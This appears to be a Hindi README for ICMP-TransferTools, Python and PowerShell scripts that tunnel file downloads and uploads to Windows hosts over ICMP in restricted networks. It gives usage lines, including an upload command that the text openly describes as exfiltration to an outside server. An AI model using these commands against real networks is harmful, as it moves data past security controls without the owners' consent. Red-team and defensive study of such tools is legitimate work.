
प्रतिबंधित नेटवर्क वातावरण में ICMP के माध्यम से Windows होस्ट से और उस पर फ़ाइलें स्थानांतरित करें।
ICMP-TransferTools स्क्रिप्ट्स का एक सेट है जो प्रतिबंधित नेटवर्क वातावरण में विंडोज़ होस्टों पर फ़ाइलों को स्थानांतरित करने के लिए डिज़ाइन किया गया है। यह कुल 4 अलग-अलग फ़ाइलों का उपयोग करके पूरा किया जाता है, जिसमें प्रत्येक स्थानांतरण दिशा (डाउनलोड और अपलोड) के लिए एक पायथन सर्वर और पावरशेल क्लाइंट शामिल है।
एकमात्र निर्भरता Impacket है जो पायथन स्क्रिप्ट में से एक के लिए आवश्यक है। इसे pip के माध्यम से इस प्रकार स्थापित किया जा सकता है:
pip3 install impacket
शामिल ICMP-SendFile.py और Invoke-IcmpDownload.ps1 स्क्रिप्ट का उपयोग ICMP के माध्यम से विंडोज़ होस्ट पर फ़ाइल डाउनलोड करने के लिए किया जा सकता है।
फ़ाइल को डाउनलोड के लिए स्टेज करने हेतु पहले पायथन सर्वर को चलाया जाना चाहिए। स्क्रिप्ट के उपयोग के लिए नीचे देखें:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
एक बार आयात करने के बाद, पावरशेल क्लाइंट का उपयोग स्टेज की गई फ़ाइल को इस प्रकार डाउनलोड करने के लिए किया जा सकता है:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
त्वरित प्रदर्शन के लिए नीचे देखें:

शामिल ICMP-ReceiveFile.py और Invoke-IcmpUpload.ps1 स्क्रिप्ट का उपयोग ICMP के माध्यम से विंडोज़ होस्ट से फ़ाइल अपलोड/एक्सफ़िल्ट्रेट करने के लिए किया जा सकता है।
यह सुनिश्चित करने के लिए कि सर्वर क्लाइंट से अनुरोध स्वीकार करने के लिए तैयार है, पहले पायथन सर्वर को चलाया जाना चाहिए। स्क्रिप्ट के उपयोग के लिए नीचे देखें:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
एक बार आयात करने के बाद, पावरशेल क्लाइंट का उपयोग वांछित फ़ाइल को इस प्रकार अपलोड करने के लिए किया जा सकता है:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
त्वरित प्रदर्शन के लिए नीचे देखें:
